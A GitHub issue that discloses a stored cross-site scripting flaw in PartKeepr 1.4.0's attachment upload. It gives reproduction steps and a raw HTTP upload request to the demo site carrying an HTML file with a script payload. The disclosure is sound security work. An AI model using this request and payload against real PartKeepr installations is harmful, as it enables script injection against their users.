Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS in [demo.partkeepr.org] #1232

Open
Retr02332 opened this issue Jan 14, 2022 · 0 comments
Open

XSS in [demo.partkeepr.org] #1232

Retr02332 opened this issue Jan 14, 2022 · 0 comments
Labels
Bug needs-triage incoming, please sort

Comments

@Retr02332
Copy link

Retr02332 commented Jan 14, 2022

Bug description

In PartKeepr versions up to and including 1.4.0, the attachment upload functionality allows an authenticated remote attacker to achieve an XSS on the application by uploading an HTML file.

Steps to reproduce

  1. Go to 'Add Part'.
  2. Click on 'Attachments'.
  3. Click on 'Add'.
  4. Loads a malicious HTML file (containing JS)
  5. Click on 'Upload'.
  6. Click on the uploaded file to download it and you will see how the JS previously defined in the malicious HTML file is executed.

Expected behavior

That there are controls and validations on the types of files (as well as their content) that are uploaded to the server.

Observed behavior

An authenticated remote attacker can upload malicious HTML files to exploit an XSS.

Exploit

POST /api/temp_uploaded_files/upload HTTP/1.1
Host: demo.partkeepr.org
Cookie: PHPSESSID=cgvo3rp0us5i3pncs0tff67h0q
User-Agent: SOMETHING
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11627532643971092785189279811
Content-Length: 407
Origin: https://demo.partkeepr.org
Dnt: 1
Referer: https://demo.partkeepr.org/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------11627532643971092785189279811
Content-Disposition: form-data; name="url"


-----------------------------11627532643971092785189279811
Content-Disposition: form-data; name="userfile"; filename="exploit.html"
Content-Type: text/html

<script type="text/javascript">
    alert(document.domain);
</script>

-----------------------------11627532643971092785189279811--

Screenshots

xss_exploit

System Information

  • PartKeepr Version: 1.4.0
  • Operating System: LInux
  • Web Server: Apache
  • PHP Version: 7.4
  • Database and version: Mysql
  • Reproducible on the demo system: Yes

Best regards,
@Retr02332

@Retr02332 Retr02332 added Bug needs-triage incoming, please sort labels Jan 14, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Bug needs-triage incoming, please sort
Projects
None yet
Development

No branches or pull requests

1 participant